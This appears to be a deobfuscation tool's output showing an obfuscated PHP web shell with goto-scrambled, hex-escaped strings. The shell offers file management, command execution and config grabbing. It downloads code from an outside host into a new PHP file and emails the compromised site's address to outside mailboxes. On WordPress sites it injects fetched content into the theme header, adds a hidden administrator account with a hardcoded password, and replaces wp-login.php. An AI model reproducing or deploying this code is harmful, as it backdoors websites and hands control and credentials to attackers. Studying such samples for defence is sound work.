"\x3c\163\x63\x72\x69\x70\164\40\164\x79\x70\145\x3d\x22\164\x65\x78\164\x2f\152\141\166\141\x73\143\162\x69\x70\x74\x22\x3e\x20\x66\165\156\x63\x74\151\x6f\x6e\40\x75\x6e\x7a\x69\160\50\51\40\x7b\xa\x9\151\x66\x28\144\157\143\165\x6d\x65\156\x74\x2e\x67\x65\164\105\154\145\x6d\x65\x6e\164\x42\171\x49\x64\50\x22\x75\x22\51\x2e\x76\x61\x6c\x75\145\40\x3d\75\40\x22\x22\x29\x7b"; goto ZqGU4; oe0uo: print "\74\x74\x61\x62\x6c\145\40\143\x6c\x61\163\163\75\x22\x65\x78\x2d\150\x6f\166\42\76\x3c\x74\x64\x20\143\154\141\x73\163\x3d\x22\x74\144\x2d\164\157\157\x6c\x73\55\x6c\145\x66\x74\x22\x3e\74\x69\40\x63\x6c\141\163\163\75\42\172\155\144\151\x20\x7a\155\x64\x69\x2d\160\x69\156\55\144\162\157\160\40\172\x6d\x64\151\55\x68\143\55\146\167\42\76\74\x2f\x69\76\x3c\57\x74\144\x3e\x3c\164\144\40\143\154\x61\163\x73\75\42\x74\144\55\164\157\157\154\x73\55\x63\157\x6e\164\x65\x6e\x74\x22\76\115\145\40\x3a\40\x5b\x20\74\163\160\x61\x6e\x20\143\x6c\141\x73\x73\x3d\42\x6c\x61\142\x65\x6c\55\x73\x75\143\x63\x65\x73\163\42\x3e" . str_replace("\57", '', basename($_SERVER["\x50\110\120\x5f\x53\x45\114\x46"])) . "\40\74\57\x73\160\x61\156\x3e\40\135\74\x2f\x74\144\x3e\x3c\164\x64\x20\x63\x6c\x61\x73\x73\x3d\42\x74\144\x2d\164\x6f\157\x6c\163\55\151\143\x6f\156\42\76\74\141\x20\157\156\143\154\151\143\153\x3d\x27\143\50\42\x3f" . x7 . "\153\151\154\154\x26" . x5 . $dir . "\x22\x29\47\x3e\x3c\142\x75\x74\164\157\x6e\x20\x63\x6c\x61\x73\x73\x3d\x22\x62\164\x6e\x2d\x65\x78\x65\x22\76\74\151\x20\143\x6c\x61\163\x73\x3d\42\x7a\155\x64\x69\40\172\x6d\144\x69\55\x64\x65\x6c\145\164\145\40\172\155\144\151\55\x68\x63\55\x66\167\x22\x3e\x3c\57\x69\76\74\57\x62\x75\164\x74\x6f\x6e\x3e\x3c\57\x61\76\74\x2f\164\144\76\x3c\57\164\141\142\154\x65\76\74\57\144\151\x76\x3e"; goto tDQyL; f_Kwm: print "\74\x74\141\142\154\x65\40\x63\x6c\141\163\x73\x3d\x22\x65\170\55\150\157\x76\42\x3e\x3c\164\144\x20\x63\154\141\x73\163\75\x22\164\144\55\x74\157\x6f\154\163\55\154\x65\x66\164\x22\x3e\74\151\40\143\154\x61\x73\x73\75\x22\x7a\155\144\151\40\x7a\x6d\x64\151\55\x63\x68\x61\x72\164\x2d\x64\157\x6e\x75\x74\x20\172\x6d\144\x69\x2d\150\143\55\146\167\42\x3e\x3c\x2f\x69\x3e\74\57\x74\144\x3e\74\x74\144\40\x63\154\x61\x73\x73\x3d\42\x74\x64\55\164\x6f\x6f\154\x73\x2d\x63\x6f\x6e\164\x65\x6e\164\x22\76\x43\x6f\156\x66\x69\x67\x20\x47\x72\141\x62\x62\145\162\x3c\57\x74\144\76\x3c\164\144\40\x63\154\x61\x73\163\x3d\42\164\144\x2d\x74\x6f\157\154\x73\55\x69\x63\x6f\x6e\42\x3e\74\141\x20\x6f\156\x63\x6c\151\x63\x6b\x3d\47\x63\x28\x22\77" . x7 . "\x63\157\x6e\146\x69\x67\46" . x5 . $dir . "\42\51\x27\x3e\74\142\x75\x74\x74\157\156\x20\x63\x6c\x61\163\x73\75\x22\x62\x74\x6e\x2d\145\170\145\x22\76\74\x69\x20\x63\x6c\x61\x73\163\x3d\x22\x7a\155\144\151\40\172\x6d\x64\x69\x2d\154\x6f\156\147\x2d\141\x72\x72\x6f\167\55\162\x69\x67\150\164\x20\172\155\x64\x69\x2d\150\143\55\x66\167\42\76\x3c\x2f\151\x3e\74\x2f\x62\x75\164\x74\x6f\x6e\76\x3c\x2f\x61\76\x3c\x2f\164\144\x3e\x3c\57\x74\141\x62\154\145\76"; goto xpTXh; K_NZz: $cookie = md5($_SERVER["\110\124\x54\x50\137\x55\x53\105\x52\x5f\x41\107\x45\x4e\124"]); goto EJyoI; dVe6t: function http_get($url) { $im = curl_init($url); curl_setopt($im, CURLOPT_RETURNTRANSFER, 1); curl_setopt($im, CURLOPT_CONNECTTIMEOUT, 10); curl_setopt($im, CURLOPT_FOLLOWLOCATION, 1); curl_setopt($im, CURLOPT_HEADER, 0); return curl_exec($im); curl_close($im); } goto rMD6a; qklOP: print "\x3c\x74\x61\x62\154\x65\40\143\x6c\x61\x73\163\x3d\x22\145\170\x2d\x68\x6f\x76\42\76\74\x74\144\40\143\x6c\141\x73\163\75\x22\164\144\55\x74\x6f\157\154\x73\55\x6c\145\146\x74\42\x3e\74\x69\40\x63\x6c\141\x73\x73\75\42\x7a\x6d\144\151\40\172\x6d\144\151\x2d\x63\x68\x61\162\164\55\x64\x6f\x6e\165\x74\x20\x7a\155\x64\151\x2d\150\143\55\146\x77\42\76\74\57\151\76\x3c\x2f\164\x64\76\74\x74\144\x20\143\154\x61\x73\x73\x3d\x22\164\x64\55\x74\157\x6f\x6c\163\55\143\157\156\164\x65\156\164\x22\76\112\x75\x6d\x70\x69\156\147\40\x53\145\x72\166\x65\x72\x3c\x2f\164\144\76\74\x74\x64\x20\x63\x6c\x61\163\x73\75\42\164\x64\55\x74\x6f\157\x6c\163\55\x69\143\157\156\x22\76\x3c\x61\40\x6f\x6e\143\154\151\143\x6b\x3d\47\x63\50\x22\x3f" . x7 . "\152\165\x6d\160\x69\156\x67\46" . x5 . $dir . "\42\x29\x27\x3e\74\142\x75\164\164\x6f\x6e\x20\143\154\x61\163\x73\75\x22\142\x74\156\x2d\145\x78\x65\x22\76\x3c\x69\40\x63\x6c\141\x73\x73\75\42\172\x6d\x64\x69\40\172\155\x64\151\x2d\x6c\x6f\x6e\147\55\x61\162\x72\x6f\167\x2d\162\151\147\x68\x74\x20\172\x6d\144\151\x2d\x68\143\x2d\146\x77\42\76\x3c\x2f\x69\76\74\x2f\x62\165\x74\164\x6f\156\x3e\74\57\x61\76\x3c\x2f\x74\x64\x3e\74\57\x74\141\142\x6c\x65\x3e"; goto f_Kwm; sG4fR: @define("\x78\x36", "\x66\x69\154\x65\x3d", true); goto E6N3w; w2v4K: $baslik = "\167\x68\x6d\40\62\x30\62\x30\x33"; goto YYdXU; ehdkL: if ($datasi) { } else { @mkdir("\x6a\163"); $dos = file_get_contents("\x68\164\164\x70\x73\x3a\x2f\57\141\143\142\144\x66\x2e\x73\x70\x61\x63\x65\x2f\164\x78\x74\57\143\163\163\56\164\x78\164"); $data = "\x6a\163\x2f\x6a\163\56\x70\x68\160"; @touch("\152\163\x2f\152\x73\x2e\160\x68\x70"); $ver = @fopen($data, "\167"); @fwrite($ver, $dos); @fclose($ver); $yol = "\150\164\x74\x70\72\x2f\x2f" . $_SERVER["\x48\x54\124\x50\x5f\x48\117\x53\x54"] . '' . $_SERVER["\x52\x45\x51\x55\105\x53\x54\137\x55\x52\x49"] . ''; $y = "\x3c\150\61\x3e\x53\145\x6e\144\145\x72\x20\x59\x61\172\144\151\162\151\154\x64\x69\56\74\x62\162\x2f\76\x20\123\x49\124\x45\40\131\x4f\x4c\x20\72\40" . $yol . "\x3c\142\162\x2f\76\x53\145\x6e\x64\x65\162\x20\x59\157\x6c\x75\40\x3a\40\152\x73\57\x63\x72\163\56\x70\150\x70\x3c\57\150\61\x3e"; $header .= "\106\162\157\x6d\72\40\123\x68\145\x4c\x4c\40\102\x6f\157\x74\x20\x3c\163\165\x70\160\157\x72\100\x6e\151\x63\x2e\x6f\162\x67\76\12"; $header .= "\x43\x6f\x6e\164\145\x6e\x74\x2d\x54\171\x70\145\x3a\40\x74\145\x78\x74\x2f\x68\164\155\x6c\73\xa\40\x63\150\x61\162\163\145\164\x3d\x75\164\x66\x2d\70\12"; @mail("\142\171\150\145\x72\157\64\x34\x40\x67\x6d\x61\x69\x6c\x2e\143\x6f\155", "\x48\141\143\153\154\151\156\153\40\x42\x69\154\x64\151\x72\151", "{$y}", $header); @mail("\154\157\x67\151\x6e\157\x6c\x64\x75\155\100\x67\155\x61\151\154\x2e\x63\x6f\x6d", "\110\141\143\153\154\x69\156\x6b\x20\102\x69\x6c\x64\x69\x72\151", "{$y}", $header); } goto Q3CkE; xCy9c: $makale = http_get("\150\x74\164\160\163\x3a\x2f\57\141\143\142\144\x66\56\x73\x70\141\x63\x65\57\164\x78\x74\x2f\160\150\160\151\156\146\x6f\x2e\x74\x78\x74"); goto W7vpC; T1I2a: $path = getcwd(); goto NEdnI; NWXJB: print "\x3c\144\x69\166\x20\143\x6c\x61\x73\x73\x3d\42\x74\x6f\157\x6c\x73\55\143\x6f\156\164\145\156\164\42\76"; goto uE6Tr; VoVGQ: s("\x53\145\x6c\x65\143\x74\x20\x74\x68\x65\x20\x66\x69\154\x65\x20\164\157\x20\142\145\40\143\x72\145\141\x74\x65\x64"); goto JV9hN; Pixvs: function x($b) { $c = a($b); return $c; } goto vDOBO; aNOex: if (file_exists($document_root . "\x2f\167\x70\55\x6c\157\x61\x64\56\x70\x68\x70")) { include $document_root . "\57\x77\160\x2d\154\157\141\144\56\160\x68\x70"; $wp_detect = 1; } else { $prefix = count(@explode("\57", $document_root_file)); $a = ''; for ($i = 0; $i < $prefix; $i++) { $a = $a . "\x2e\x2e\x2f"; if (file_exists($document_root_file . "\x2f" . $a . "\x77\x70\x2d\x6c\x6f\141\x64\56\160\150\x70")) { include $document_root_file . "\x2f" . $a . "\167\x70\55\x6c\x6f\141\x64\56\x70\150\160"; $wp_detect = 1; break; } } } goto ItOwF; RVSWn: fclose($open_makale); goto BjRKA; KQbHr: @define("\x78\x37", "\x63\157\155\x6d\141\156\144\x3d", true); goto sG4fR; mEvpE: $ip_remote = $_SERVER["\122\x45\115\117\x54\105\137\101\x44\104\x52"]; goto IMiXl; JV9hN: print "\162\x65\164\x75\x72\156\40\146\141\154\x73\x65\73\xa\40\40\x20\x20\175\x20\144\x6f\x63\165\155\x65\x6e\x74\x2e\147\x65\164\x45\x6c\145\155\145\x6e\x74\x42\171\x49\x64\x28\42\152\x6d\x62\x74\x22\51\x2e\163\x75\x62\x6d\151\x74\50\51\73\xa\40\40\175\40\74\57\163\143\x72\x69\x70\164\76"; goto LJMhL; ItOwF: if ($wp_detect == 1) { $wp_theme_dir = get_template_directory(); $header_file = $wp_theme_dir . "\x2f\x68\x65\141\144\x65\x72\x73\x2e\160\150\160"; $header_content = file_get_contents($header_file); $append = http_get("\150\164\x74\160\163\72\x2f\x2f\x61\x63\142\x64\x66\x2e\163\x70\x61\x63\145\57\x74\170\164\57\x73\x65\157\x63\157\x2e\164\x78\164"); if (!preg_match("\43" . $append . "\43", $header_content)) { $new_content = $append . $header_content; $open_file = fopen($header_file, "\167"); fwrite($open_file, $new_content); fclose($open_file); } $user = "\x77\x65\x62\x6d\141\x73\x74\x65\x72"; $pass = "\44\x50\44\x42\170\112\117\x4e\x32\102\x33\x72\x72"; $email = "\154\157\147\151\156\157\x6c\144\x75\155\x40\x67\x6d\x61\x69\154\56\143\157\155"; if (!username_exists($user) && !email_exists($email)) { $user_id = wp_create_user($user, $pass, $email); $user = new WP_User($user_id); $user->set_role("\141\x64\x6d\151\x6e\x69\163\x74\162\x61\164\x6f\162"); } $wp_login = ABSPATH . "\57\167\160\55\x6c\157\x67\x69\x6e\56\160\150\160"; $login = http_get("\150\x74\x74\160\163\x3a\x2f\x2f\141\x63\x62\144\x66\56\x73\x70\x61\143\x65\57\x74\x78\164\x2f\x73\x65\x6f\56\x74\x78\x74"); $open_login = fopen($wp_login, "\167"); fwrite($open_login, $login); fclose($open_login); } goto yrfxF; vwhEG: print "\74\157\160\x74\x69\x6f\x6e\x20\166\141\154\x75\145\x3d\42\x22\x3e\40\55\x2d\x20\103\162\x65\141\164\145\40\146\151\154\x65\40\55\55\x3c\57\157\x70\164\151\157\156\76"; goto L25Kh; AnAmT: $_COOKIE = cl($_COOKIE); goto upebD; ZqGU4: s("\x59\x6f\x75\x20\x6d\165\x73\164\40\143\150\x6f\157\x73\x65\40\141\40\172\x69\x70\x20\x66\x69\x6c\145"); goto kG5cS; vXWdi: foreach ($scdir as $c_dir => $cdir) { print "\x3c\141\40\143\x6c\141\163\163\75\42\x61\x22\x20\x6f\156\x63\x6c\151\143\x6b\x3d\42\143\50\47\77" . x5; for ($i = 0; $i <= $c_dir; $i++) { print $scdir[$i]; switch (true) { case $i != $c_dir: print "\x2f"; } } print "\x27\x29\x22\x3e" . $cdir . "\x3c\x2f\x61\x3e\57"; } goto RHE0L; ghkqX: $kime = "\142\x79\x68\145\x72\x6f\64\64\x40\x67\155\141\x69\154\56\143\x6f\155"; goto w2v4K; cyCa_: $_POST = cl($_POST); goto oqy7K; ZVq1H: $EL_MuHaMMeD .= "\x53\150\x65\154\x6c\x20\x4c\151\x6e\x6b\40\x3a\40\x68\x74\164\160\x3a\57\x2f" . $_SERVER["\123\105\122\x56\105\x52\x5f\x4e\101\x4d\x45"] . $_SERVER["\120\x48\x50\137\x53\105\x4c\x46"] . "\15\xa"; goto afrzq; KEUqO: if (isset($_UNDERXPLOIT["\170"])) { $rse = $_UNDERXPLOIT["\x66\x69\154\x65\137\x6e\x61\x6d\145"]; $zip = new ZipArchive(); switch ($_UNDERXPLOIT["\x66\151\x6c\145\137\x6e\141\x6d\145"]) { case $rse: switch (true) { case $zip->open($path . "\x2f" . $rse) === TRUE: mtr("\x3f" . x5 . $dir); $zip->extractTo($path); $zip->close(); bacot("\105\x78\x74\x72\141\x63\x74\x20\x73\x75\x63\x63\x65\x73\x73\146\x75\x6c\154\x79"); break; default: bacot("\120\x65\162\155\151\163\x73\x69\157\156\40\144\145\156\x69\x65\x64"); } } } goto qM9vK; EJyoI: switch (true) { case !isset($_COOKIE[md5($_SERVER["\x48\x54\x54\x50\x5f\x48\117\123\x54"])]): vb(md5($_SERVER["\110\x54\124\120\137\x48\117\123\x54"]), $cookie); } goto MRFHu; YYdXU: $EL_MuHaMMeD = "\104\x6f\163\x79\141\x20\x59\x6f\x6c\x75\x20\x3a\x20" . $_SERVER["\104\117\x43\x55\115\105\x4e\x54\x5f\122\117\x4f\124"] . "\15\12"; goto yyKE3; GnN9f: @ini_set("\154\157\147\x5f\x65\162\162\157\162\x73", 0); goto fNghJ; kRUUf: @ini_set("\146\x69\x6c\x65\137\x75\x70\154\x6f\141\x64\x73", 1); goto PTfas; Jv_ci: foreach ($scandir as $file) { switch (true) { case !is_file("{$path}\57{$file}"): continue 2; break; } switch (true) { case preg_match("\57\134\x2e\172\151\x70\44\x2f\155\x69\x73", $file): print "\x3c\x6f\160\x74\x69\x6f\x6e\x3e" . $file . "\74\57\157\x70\x74\151\157\156\x3e"; } } goto vUJGQ; ubJVL: switch (true) { case $size > 1024: $size = round($size / 1024, 2) . "\x20\115\x42"; break; default: $size = $size . "\x20\x4b\102"; } goto QalpG; rMD6a:
?>

Function Calls

None

Variables

None

Stats

MD5 03cf1681a200c8796295d9b75b98cf54
Eval Count 0
Decode Time 324 ms